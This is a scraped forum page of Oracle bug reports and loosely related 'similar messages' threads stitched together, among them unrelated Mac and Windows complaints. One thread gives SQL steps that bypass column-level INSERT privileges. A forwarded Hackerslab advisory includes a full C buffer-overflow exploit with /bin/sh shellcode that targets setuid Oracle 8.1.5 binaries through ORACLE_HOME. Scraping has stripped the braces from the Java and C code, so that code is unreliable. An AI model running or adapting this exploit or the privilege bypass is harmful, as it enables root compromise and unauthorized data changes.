Column Privilege Security Bug in Oracle 9i

There seems to be a bug in matching column privileges between VIEW and TABLE objects. In the SQL script below, this bug lets users INSERT values into columns that they do not have INSERT privileges on. (I guess that the bug would also let people UPDATE columns they do not own).
This is the first time I've come into this forum, so please accept my appologies if this is the wrong place to report bugs, or this bug is already widely known.
Adam
In the following scripts, SYSTEM grants INSERT on column A, but column B gets inserted.
SQL> connect system/manager @DB2
SQL> create table t1(a int,b int,c int);
SQL> create user adam identified by adam;
SQL> grant create view to adam;
SQL> grant select on t1 to adam;
SQL> grant insert(a) on t1 to adam;
SQL> connect adam/adam @DB2
SQL> create view v1 as select b y,c z,a x from system.t1;
SQL> insert into v1(y) values(1);
SQL> commit;
SQL> connect system/manager @DB2
SQL> select * from t1;
A B C
1

I've given here the required details:
SQL*Plus: Release 8.0.5.0.0 - Production on Tue Jul 15 22:47:45 2003
(c) Copyright 1998 Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production
DEV> drop table tmp_kar
2 /
Table dropped.
DEV> create table tmp_kar (
2 item_code varchar2(10) not null,
3 document_no varchar2(6) not null,
4 document_date date not null,
5 ccn varchar2(3))
6 /
Table created.
DEV> create index idx_tmp_krd__doc_date on tmp_kar (document_date desc) tablespace indx
2 /
Index created.
DEV> insert into tmp_kar values ('G40101008','x','03-jan-2003','xxx')
2 /
1 row created.
DEV> drop table tmp_ccn
2 /
Table dropped.
DEV> create table tmp_ccn (ccn varchar2(3))
2 /
Table created.
DEV> insert into tmp_ccn values ('xxx')
2 /
1 row created.
DEV> commit
2 /
Commit complete.
DEV> select k.ccn, document_date
2 from tmp_kar k, tmp_ccn c
3 where item_code = 'G40101008' and
4 document_date >= '31-dec-2002' and
5 document_date < '02-apr-2003' and
6 k.ccn = c.ccn
7 /
CCN DOCUMENT_
xxx 03-JAN-03
DEV> select k.ccn, document_date
2 from tmp_kar k
3 where item_code = 'G40101008' and
4 document_date >= '31-dec-2002' and
5 document_date < '02-apr-2003' and
6 ccn in (select ccn from tmp_ccn)
7 /
no rows selected
DEV>
Though the two sql statements should give the same result, it is not so.
I suspect some bug in indexing document_date desc. What could be the reason?

Similar Messages

Column Level Security Using VPD under oracle 11g

Hi
I am using an example from Oracle Database 10g: Advance Security -- Virtual Private Databases
1. The Application Context -- that sets the session environment for the use is ok.
2. The Logon Trigger that executes the above is ok. It had been tested.
3. The Security Policy that returns a predicate after checking the output of the Application Context is ok.
4. The security policy applied to the STOCK_TRX table is ok.
5. Select and Insert from the database work.
However, after dropping both the insert and select policy, I am having problem getting a select policy to work with column-level VPD. I will get the ORA-28104 -- input value for statement type is not valid and ORA-06512 at SYS.DBMS_RLS line 20. See code below
begin
DBMS_RLS.ADD_POLICY
('PRACTICE', 'STOCK_TRX', 'STOCK_TRX_SELECT_POLICY', 'PRACTICE', 'SECURITY_PACKAGE.STOCK_TRX_SELECT_SECURITY', 'PRICE');
end;
Note:
PRICE is the sec_relevant_cols
STOCK_TRX is the table
Can you please help.
Thx

The syntax for row level security is not the same for columns level security. All the parameters to the DBMS_RLS.ADD_Policy() function should be preceded by the type of the parameter for:
begin
DBMS_RLS.ADD_POLICy(object_schema=>PRACTICE, ... sec_relevant_cols=>'PRICE);
end;
I did not know this before. I thought they were there in the example for explanatory reasons. I decided to answer the question for myself because I know others have the same interpretation.

Oracle Virtual Private Database (VPD), Column Level Security

Hello,
About Oracle Virtual Private Database (VPD), is it possible to set a Column Level Security without setting a Row Level Security (without using any predicate)?
Thanks,
Herve.

Thanks, Zoran.
A colleague shared with me a link containing a function without returning a predicate (in using SYS_CONTEXT function to skip row restriction).
Herve.
Link

Bug in Oracle JDBC thin driver (parameter order)

[ I'd preferably send this to some Oracle support email but I
can't find any on both www.oracle.com and www.technet.com. ]
The following program illustrates bug I found in JDBC Oracle thin
driver.
* Synopsis:
The parameters of prepared statement (I tested SELECT's and
UPDATE's) are bound in the reverse order.
If one do:
PreparedStatement p = connection.prepareStatement(
"SELECT field FROM table WHERE first = ? and second = ?");
and then bind parameter 1 to "a" and parameter to "b":
p.setString(1, "a");
p.setString(2, "b");
then executing p yields the same results as executing
SELECT field FROM table WHERE first = "b" and second = "a"
although it should be equivalent to
SELECT field FROM table WHERE first = "a" and second = "b"
The bug is present only in "thin" Oracle JDBC driver. Changing
driver to "oci8" solves the problem.
* Version and platform info:
I detected the bug using Oracle 8.0.5 server for Linux.
According to $ORACLE_HOME/jdbc/README.doc that is
Oracle JDBC Drivers release 8.0.5.0.0 (Production Release)
* The program below:
The program below illustrates the bug by creating dummy two
column table, inserting the row into it and then selecting
the contents using prepared statement. Those operations
are performed on both good (oci8) and bad (thin) connections,
the results can be compared.
You may need to change SID, listener port and account data
in getConnecton calls.
Sample program output:
$ javac ShowBug.java; java ShowBug
Output for both connections should be the same
--------------- thin Driver ---------------
[ Non parametrized query: ]
aaa
[ The same - parametrized (should give one row): ]
[ The same - with buggy reversed order (should give no answers):
aaa
--------------- oci8 driver ---------------
[ Non parametrized query: ]
aaa
[ The same - parametrized (should give one row): ]
aaa
[ The same - with buggy reversed order (should give no answers):
--------------- The end ---------------
* The program itself
import java.sql.*;
class ShowBug
public static void main (String args [])
throws SQLException
// Load the Oracle JDBC driver
DriverManager.registerDriver(new
oracle.jdbc.driver.OracleDriver());
System.out.println("Output for both connections should be the
same");
Connection buggyConnection
= DriverManager.getConnection
("jdbc:oracle:thin:@localhost:1521:ORACLE",
"scott", "tiger");
process("thin Driver", buggyConnection);
Connection goodConnection
= DriverManager.getConnection ("jdbc:oracle:oci8:",
"scott", "tiger");
process("oci8 driver", goodConnection);
System.out.println("--------------- The end ---------------");
public static void process(String title, Connection conn)
throws SQLException
System.out.println("--------------- " + title + "
Statement stmt = conn.createStatement ();
stmt.execute(
"CREATE TABLE bug (id VARCHAR(10), val VARCHAR(10))");
stmt.executeUpdate(
"INSERT INTO bug VALUES('aaa', 'bbb')");
System.out.println("[ Non parametrized query: ]");
ResultSet rset = stmt.executeQuery(
"select id from bug where id = 'aaa' and val = 'bbb'");
while (rset.next ())
System.out.println (rset.getString (1));
System.out.println("[ The same - parametrized (should give one
row): ]");
PreparedStatement prep = conn.prepareStatement(
"select id from bug where id = ? and val = ?");
prep.setString(1, "aaa");
prep.setString(2, "bbb");
rset = prep.executeQuery();
while (rset.next ())
System.out.println (rset.getString (1));
System.out.println("[ The same - with buggy reversed order
(should give no answers): ]");
prep = conn.prepareStatement(
"select id from bug where id = ? and val = ?");
prep.setString(1, "bbb");
prep.setString(2, "aaa");
rset = prep.executeQuery();
while (rset.next ())
System.out.println (rset.getString (1));
stmt.execute("DROP TABLE bug");
null

Horea
In the ejb-jar.xml, in the method a cursor is closed, set <trans-attribute>
to "Never".
<assembly-descriptor>
<container-transaction>
<method>
<ejb-name></ejb-name>
<method-name></method-name>
</method>
<trans-attribute>Never</trans-attribute>
</container-transaction>
</assembly-descriptor>
Deepak
Horea Raducan wrote:
Is there a known bug in Oracle JDBC thin driver version 8.1.6 that would
prevent it from closing the open cursors ?
Thank you,
Horea

Bug in Oracle

Sir,i know it very clearly that ,primary key column ,can not be null.
But the bug in oracle is that,
when first time ,i tried to ALTER the primary key column in the table,to accept NULL,
oracle shows the message that ,"TABLE ALTERED."
But when i queried the USER_TAB_COLUMNS,data dictionary ,i found that the primary column,is actually NOT ALTERED AT ALL,TO ACCEPT NULL VALUES.
Although oracle is enforcing the rule that,PRIMARY KEY COLUMN CAN NOT BE NULL ,but how ORACLE GENERATED THE FALSE MESSAGE THAT -"Table Altered".
where as the DDL operation was not successful.
But when second time ,i tried to ALTER the primary key column,to accept NULL,
oracle shows the message that ,
ORA-01451: column to be modified to NULL cannot be modified to NULL
So what i am saying is that,why oracle show me the correct ,message ,
"ORA-01451: column to be modified to NULL cannot be modified to NULL",
at the second time DDL operation ,rather than showing me at the first time DDL operation.
And how even if ,at the first time, the DLL operation was not successful,
how oracle shows the false message that "Table Altered".
Please go through the steps as i have mentioned below ,to ALTER TABLE,then you can find the problem.
I have gone through steps like this.
-->Suppose in a Employee table,EMP_ID column is primary key
-->I tried to alter EMP_ID column to accept NULL values,
but it generates error
ALTER TABLE EMPLOYEE
MODIFY (EMP_ID NULL);
ORA-01451: column to be modified to NULL cannot be modified to NULL
-->So i tried ,to alter EMP_ID column to NOT NULL,
and i got message ,Table altered.
ALTER TABLE EMPLOYEE
MODIFY (EMP_ID NOT NULL);
-->Then i tried to alter EMP_ID column to accept NULL values,
but THIS TIME IT DOES NOT GENERATES ANY ERROR,
and i got message ,Table altered.
ALTER TABLE EMPLOYEE
MODIFY (EMP_ID NULL);
But when again ,i run the same statement again,it generates error
ORA-01451: column to be modified to NULL cannot be modified to NULL

Please don't post duplicate threads.
{thread:id=1100939}

Bug in Oracle UpdatableResultSet? (insert, updateString requires non-empty ResultSet?

As far as I can determine from the documentation and posts in other newsgroups
the following example should work to produce an updatable but "empty" ResultSet which can be used to insert rows.
But it doesn't work in a JDK 1.2.2 and JDK 1.3.0_01 application using Oracle 8i (8.1.7) thin JDBC
driver against an Oracle 8.1.5 database I get the following error
SQLException: java.sql.SQLException: Invalid argument(s) in call: setRowBufferAt
However, if I change it to so the target (ie insert) ResultSet is initialized to contain one or more
rows, it works just fine.
ResultSet rset2 = stmt2.executeQuery ( "select Context.* from Context where ContextCd = '0' " );
Is this a bug in Oracle's JDBC driver (more specifically, the UpdatableResultSet implimentation)?
Does an updatabable ResultSet have to return rows to be valid and useable for insert operations?
If it does, is there another way to create an updatable ResultSet that does not depend upon
"hard-coding" some known data value into the query?
try
// conn is a working, tested connection to an Oracle database via 8.1.7 thin JDBC driver.
// source statement
Statement stmt = conn.createStatement (
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
System.out.println("source rset");
rset = stmt.executeQuery ( "select Context.* from Context" );
// target Statement
Statement stmt2 = conn.createStatement (
ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE );
ResultSet rset2 =
stmt2.executeQuery ( "select Context.* from Context where ContextCd = NULL" );
System.out.println(
"see if rset2 looks good even though empty (bcs primarykey = null)");
ResultSetMetaData rsmd2 = rset2.getMetaData();
int numColumns = rsmd2.getColumnCount();
for( int i = 0; i <= numColumns; i++ )
env.msg.println ( "(" + i + ") " + rsmd2.getColumnLabel(i) );
// test results showed the correct columns even though no row returned.
// quess we can use this trick to create an "empty" insert ResultSet.
System.out.println("interate through rset and insert using rset2");
if(rset.next())
System.out.println("move to insert row");
rset2.moveToInsertRow();
System.out.println("insert values");
rset2.updateString( "ContextCd", rset.getString("ContextCd") + "-test" );
rset2.updateString( "Descrip", "test" );
rset2.updateString( "Notes", "test" );
System.out.println("insert row into db (but not committed)");
rset2.insertRow();
catch( ... ) ...
Thanks
R.Parr
Temporal Arts

I have noticed the same problem, actually it doens't matter if there is no data in your resultset. If you have a result with data and suppose you were to analyze the data by moving through all of the rows, the cursor is now after the last row. If you call insertRow, the same exception is thrown. Kinda strange, I didn't get any response as to why this is happening and that was a few weeks ago. I hope someone responds, at this point I am just re-writing some of my code to not use updateable resultsets.
<BLOCKQUOTE><font size="1" face="Verdana, Arial">quote:</font><HR>Originally posted by Randall Parr ([email protected]):
As far as I can determine from the documentation and posts in other newsgroups
the following example should work to produce an updatable but "empty" ResultSet which can be used to insert rows.
But it doesn't work in a JDK 1.2.2 and JDK 1.3.0_01 application using Oracle 8i (8.1.7) thin JDBC
driver against an Oracle 8.1.5 database I get the following error<HR></BLOCKQUOTE>
null

Bug in Oracle 9.2.0.1.0.

I have found a bug in Oracle 9.2.0.1.0.
Here is the bug analysis.
Step 1:
CREATE TABLE T1 ( ENO NUMBER, ENAME VARCHAR2(100));
Step 2:
CREATE TABLE T2 (DNAME VARCHAR2(1000));
Step 3:
INSERT INTO T1 VALUES (1,’KARTHIK’);
Step 4:
INSERINTO T2 VALUES ('VENKATRAMAN');
Commit;
Now try executing this command,
Command:
SELECT * FROM T1 WHERE ENO IN (SELECT ENO FROM T2);
Here table T2 does not contain “ENO”.
But the query returns,
Output:
=====
ENAME
DNAME
1
KARTHIK
VENKATRAMAN
“ENO” column is being fetched from the main query with table T1 and not from the sub query with table T1.
Please verify this bug and kindly provide a response.
Regards,
Karthik

Well, heres my test (10g, for I dont have a 9.2.0.1.0, but I think it´d show the same result):
Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.4.0 - 64bit Production
With the Partitioning, OLAP and Data Mining options
SQL> select *
2 from t1;
ENO ENAME
1 KARTHIK
SQL> select *
2 from t2;
DNAME
VENKATRAMAN
SQL> select *
2 from t1
3 where eno in (select eno from t2);
ENO ENAME
1 KARTHIK
SQL> alter table t2 add (eno number);
Table altered.
SQL> select *
2 from t1
3 where eno in (select eno from t2);
no rows selected
SQL> alter table t2 drop (eno);
Table altered.
SQL> select *
2 from t1
3 where eno in (select t2. eno from t2);
where eno in (select t2. eno from t2)
ERROR at line 3:
ORA-00904: "T2"."ENO": invalid identifier
SQL>
But he is getting output of table T2 too se his last postI don´t think so, because he didn´t SELECT it. Would be nice to just copy & paste the output...
Regards,
Gerd

Secury bug in oracle 11.2.0.4.

Hello, After perfor database import via impdp in a local Oracle Database 11.2.0.4, I noticed that I can now connect to Oracle 11.2.0.4 with the password of the remote sys and also the password of local sys. I Believe it is a security bug that must be fixed.
See image below:
SQL> conn sys/glbdba10@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL> conn sys/glbdbaora00600@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL>

Hi Justin,
This ps the problem, Im not connect to Database via Operational System ou Oracle Group.
Press atention:
SQL> conn sys/glbdba10@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL> conn sys/glbdbaora00600@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL>
SQL> conn sys/manager@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL> conn sys/junior@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL> conn sys/x@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS
SQL> conn sys/glbdbaora00600@homolog as sysdba
Connected to Oracle Database 11g Release 11.2.0.4.0
Connected as SYS

Column Level Security - Grand Total row

Hello All, I have a question about Column Level Security in a report where Grand Total is turned on. I am working inside of the OOTB Paint rpd and I am looking at the 'Finish Sales Trend for Current Year' report on the Brand Analysis dashboard page. Inside of the Admin Tool I added column level security on the Units presentation column in the Sales Measures table. I implemented security that will not allow the Central Region Manager group to view the Units column. When I access the report I noticed that the Grand Total row of the table is slightly skewed because the Units column is hidden. The Grand Total row is showing, however all the results are off by 1 cell.
The forum is not allowing me to attach pictures to this post.
Thanks for your help

Hi User,
It is an bug refer the metalink,
Bug.9576412 - GRAND TOTAL NOT WORKING WHEN COLUMN LEVEL SECURITY IS IMPLEMENTED
For eg:
consieder a report with following columns,
Year Product Measure1 Measure2
In this if for measure1 the column level security is enabled (user1 who is not supposed to see the data).
Then grand total value of measure2 will be in the grand total of measure1. (for user1)
When column level security is enabled, that column will be pushed to the end of the table view.
So that it is happening.
By using case statements with groups or users we can get it work without enabling the column level security.
Thanks,
Vino

Security issues on Oracle Database (10g)

Hello,
I need to make a security manual for Oracle (10g) databases. This has to be some sort of checklist to assure a database is secure. I am thinking of encryption, least privilege, limit access, etc etc. I am sure this has been done before. Please help me with links to documents about this.
Kind regards,
Rob Schenk

(Funny thing - Oracle has hired people to write documentation and has placed it online for anyone to read.)
You just might find what you need in the "Security Guide" at http://www.oracle.com/pls/db102/portal.portal_db?selected=1
If documentation is not sufficient, I recommend http://www.amazon.com/gp/product/0974372749/

Will Performance degrade due to Column Level Security

Hi All,
I have report with 40 Columns, of which more than 20 columns are restricted to many users on the Dashboards.
This security is controlled by assigning permissions to those columns in RPD presentation Layer.
And setting the PROJECT_INACCESSIBLE_COLUMNS_AS_NULL to YES in NQSConfig.ini
Will the performance of reports degrade due to this type of design.
Is there any solid evidence?
Thanks
Kaushik

Hi,
I dont see any performance hinderance because of the column level security.
But remember in the pivot table you can still see the column without values. And its a bug. Would serve good for table views.
Hope this helped/ answered
Regards
MuRam

Ongoing fatal crash and security bug related to connecting external display

The infrastructures in OS X to resume from sleep, to authenticate, and to change displays is fundamentally not working.
The security bug I have encountered has to do with connecting a cinema display exclusively to a MacBook Pro. This is a specific situation, but please note that I have experienced the same problem on no fewer than three independent laptop. Plus, the Genius in the Apple Retail Store was convinced of the general instability of this infrastructure. The security problem is that hot corners no longer function if I transition between two states in the same reboot. The first state is where I have the laptop powered on and using its own internal display exclusively (when I'm on the road). The second state is when I have the laptop displaying its output exclusively on an external display (when I'm at home). What happens is that an attempt to use hot corners fails. There is no response. I even added configuration on all four corners (whereas I originally had settings only for the rightmost corners), and even then, the hot corner action (of sleeping the display or entering locked screen saver mode) does not commence. This prevents the user from being able to secure the display on demand using standard methods that are supposed to work.
The instability level related to connecting the external display exclusively is high. Again, I've experienced this on no fewer than three independent laptops, and the Apple Genius at the Retail Store confirmed that this aspect of OS X did not work consistently. When I want to connect the cinema display to the laptop in such a way that the laptop's own display is not part of the active screen, the process I use succeeds about half the time. Supposing I have been on the road, where I am using the laptop display exclusively. I then put the laptop to sleep. When I return home with the lid open, I connect first the USB (power) from the cinema display to the laptop, and then I connect the Mini DisplayPort. When that step works, what happens is that the login screen shows on the cinema display despite the fact that my laptop lid is closed. This is good, and is what I want. At that point, I open the laptop lid and quickly log in.
With Apple being a mobile device company, I rely on the laptop for tasks that one traditionally may use a desktop for. This simply points to the versatility of the laptop. But I'd like the bugs resolved, so that I do not have to hesitate to make use of the inherent flexibility possible with the MacBook Pro.
Here's what happens when the process (of connecting the external display in a way that establishes itself as the only screen in use by OS X) fails. Firstly, when I connect the external display via Mini DisplayPort, the laptop doesn't even respond. Instead, it remains asleep. So to work around it I have to repeatedly disconnect and reconnect the Mini DisplayPort so that the asleep MacBook Pro will see that there is a display connected to it. Also, sometimes that isn't even enough and I have to open the laptop lid, and put it to sleep again so as to trigger whatever actions are necessary to recognise the external display (presumably by having the laptop recently awake). Around half the time, I have to play this game of disconnecting and reconnecting until it actually works. This high level of reproducibility (confirmed by the Apple Genius representative's confidence that this part of the system doesn't actually work) should make it easy for an engineer to look into the problem.
Fatally, and recently, OS X has completely crashed when I have attempted to connect the external display. The external display has gone completely blue, and after a half a minute, it blanked out and my entire laptop became unresponsive. I called Apple Support and was given a case number. I also took the laptop into the retail store to see if I could recover my current session without rebooting. There was no process suggested to make that happen and I was told to reboot the machine. I've had this happen before on other laptops, and it is frustrating that the kernel reaches such a state that it cannot be used. As I see it, this problem is not too unrelated to the way that I need to play a game in order to get the external display connected exclusively. Here are some workarounds that could be added:
Firstly, whenever I connect an external display, I'd like the laptop to see that this has happened, and to take action accordingly (such as resuming from sleep). Secondly, If I connect an external keyboard, and press a key on it, I'd like this to wake the laptop too (in the event that the first method fails for some unforeseen reason). I'd also like the connection of the cinema display's USB power not to cause the laptop to enter into a confused state between asleep and awake. Sometimes I need to disconnect and reconnect USB power in order to trigger the laptop into waking, but that's only because it's not doing it on its own properly. On the other hand, I also ensure that the laptop doesn't have the Mini DisplayPort connected without also having the cinema display USB power connected, because that also is an unsupported configuration.
I've also gotten the laptop to become confused about whether it is asleep or awake. When I open the lid, it seems to enter into sleep mode, but closing it seems to bring it into an active state.
Also, I've successfully logged on and authenticated with the screen showing exclusively on the external display. But just ten seconds after I start using the system, the laptop falls asleep--with the lid open! Whatever triggers that action doesn't seem to be on track. The laptop is open, there are incoming events such as mouse movements and key presses, and the external display is on and is in use. And then the laptop falls asleep! This has happened numerous times. Not only should this not happen; the instances where it does happen can cause further instability and put my system at risk of fatally crashing.
Also, the authentication system itself is highly buggy--far more than it should be. At times I have opened the laptop lid and caught a glimpse of a window before I have begun the login process. Also, an external authentication application that asks for Kerberos/AFS login credentials has been able to overlay itself on top of the primary authentication (whereas I should only see a single login dialog when I need to authenticate to the system). Also, I've had several of these authentication screens overlay on top of one another, although it's been months since I've experienced that one (so it may have been fixed). Also, around a third of the time, the window that authenticates me (on the black background) somehow transfers itself into the background (even though there's only one window!). What that means is what I begin to type my password, and now the laptop starts beeping at me and I need to manually click on the password field and begin entering my password again. This really shouldn't happen, and indicates too much complexity in this authentication process (such as, more OS X code is involved than is strictly necessary, which is likely to make the authentication system more difficult to test). Also, at times, I have been using too much CPU, such that the authentication screen takes too long to emerge. That also means that I'm not able to logon until I uncleanly shutdown the laptop. If the laptop has been asleep, and is revived in preparation for login, then that login screen should be given highest priority, even if there are other heavy CPU or I/O intensive tasks running in the background. And maybe the login dialog shouldn't disappear when the user is legitimately attempting to log in. So even if there is a possibility that the system is under heavy resource use (or there is a stall or minor deadlock), it shouldn't prevent the user from logging in altogether.
At the moment, the very fact that the system shut down uncleanly means that the full disk encryption suite that I used has entered into an undetermined state, suggesting I may lose access to all my data. It's my hope that I can rely on Apple's products to interoperate in a way that won't cause me to be fearful and restrictive in my use, so that I can freely connect an external display at times, and at other times carry the laptop on the road.

Ive got the same problem with Samsung UE225010 monitor too, its full hd but it looks terrible, could it be Displayport adapter issue, because couple month ago Ive tryed with some IPS display, and it looked same bad.

Is this a security bug in Windows 8.1?

I think I have discovered a serious security bug in Windows 8.1.
Today I was using my (non-Admin) user account and with Internet Explorer I saved a file in the default Downloads folder (under This PC). The file was saved, but when I went to that folder, the file was not there! Now, I was about to downloaded
it again, using IE, same as before, when I noticed in the Save dialog box that the file had indeed been downloaded, and that it was there, in the Downloads folder under This PC. Frustrated, I went to that very folder, but the file was nowhere
to be found. I was really puzzled.
Then, by chance, while logged in another account (namely the Admin account), I happened to go to the Downloads folder, and there was the file that I had downloaded using the other account.
Obviously, what I described above represents a security problem: firstly because my private files may get saved by mistake into another person's account without me even realizing it, and secondly because I was able to access another person account
(i.e. the Admin account) via the IE's Save dialog box, seeing the list of the files there, and possibly even accessing them (I have not tried the latter, though).
Has anyone experienced anything like the situation I described?
I must also say that I later tried to replicate this abnormal behavior, but for some unknown reason I couldn't. Anyway, I am sure that what I described above is an accurate account of how things went.

Hi,
Since I cannot repro your issue on my own computer, it cannot be a bug.
I suggest we try to use another user account to see if there is the same issue happened.
Please make sure your location of download folder is right:
Right click Downloads folder, and choose Properties.
Make sure the location is right under your user profile.
If not, please click Location and click Restore default.
If we still fail to solve you issue, please run Process monitor at the end of the downloading process to capture the actions, and upload the save log here for further research.
You can also check if there is any weird actions at the end of downloading process.
Process Monitor v3.05
http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx
How to use, please refer to this article:
Using Process Monitor to capture system events
http://www.sophos.com/en-us/support/knowledgebase/119038.aspx
Keep post.
Kate Li
TechNet Community Support

Bug in Oracle 8.1.6.0.0

Did any one come accrossed with the bug no 1328999 in oracle 8.1.6.0.0 on solaries. If any one please reply me.
Actually my problem is i am getting too many deadlocks in my application i am using MTS (Microsoft Transaction server as application server ) and database is 8.1.6.0.0. of oracle in solaries.
Did any one has similar problems please reply me.
If so
How could you confirm that the problem u are getting is because of a bug in oracle 8.1.6.0.0
Please some one reply me

Hi kawollek,
Thanks for the reply.
But when i tried with the example provided. I am unable to connect to oracle. it gives the error 0ra-03114 not connected to oracle.
How do i give the host string in oracle or dsn in the programe to connect to the database.
If u have tried please help me.....
Thanks & regards
Rama Raju D.S

Security vulnerability in Oracle 8.1.5

The following email was forwarded to me about possible security vulnerabilities.
I am looking for verification from both Oracle and the user comunity.
================================================================================
[ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
================================================================================
File : Oracle 8.1.5
SYSTEM : LINUX
Tested by RedHat Linux 6.2
INFO :
There are two security vulnerability in Oracle.
1. buffer overflow
It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
one of the environmental value of Oracle.
Oracle applications that are vulnerable to buffer overflow are as follow :
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
Thease applications allow an attacker to excute a buffer overflow exploit.
2. Log-files created
When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
following log files are created.
names
======
-rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
-rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
-rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
oracle
======
-rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
tnslsnr
=======
-rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
SOLUTION
Contact your vendor for a patch or close setuid permission.
# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
==-------------------------------------------------------------------------------==
* ** ** * [email protected] [yong-jun, kim]
* ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
******** HACKERSLAB (C) since 1999
==-------------------------------------------------------------------------------==
Oracle 8.1.5 exploit
-by loveyou
offset value : -500 ~ +500
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xde\xff\xff\xff" /* call start */
"/bin/sh";
unsigned long getesp(void)
__asm__("movl %esp,%eax");
int main(int argc, char *argv[])
char buff, ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
printf("[ offset:%d buffer=%d ret:0x%x ]\n",
offset,strlen(buff),addr);
system(PATH);
null

Hi Peter,
I was told that Oracle8 and Oracle8i Parallel Server on IBM
RS/6000 AIX comes with its own Lock Manager and this LM does not
rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
(Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
HACMP but came with a special LM.)
Cluster-wide Filesystems are not used for OPS on Unix, as far as
I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
Logical Volumes on AIX).
So I guess it should be possible for Oracle to port OPS to Linux.
No special Cluster-Services would be needed for OPS on Linux,
just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
100BaseT).
Peter Sechser (guest) wrote:
: Dave,
: Parallel Server needs some cluster services in order to
: communicate between several nodes. So, the operating system has
: to offer things like inter-node communication services,
: cluster-wide lock communication services and a clusterwide
: filesystem. I'm not quite sure, to what degree Linux
offers/will
: offer these services.
: Peter
null

Column Privilege Security Bug in Oracle 9i

Similar Messages

Maybe you are looking for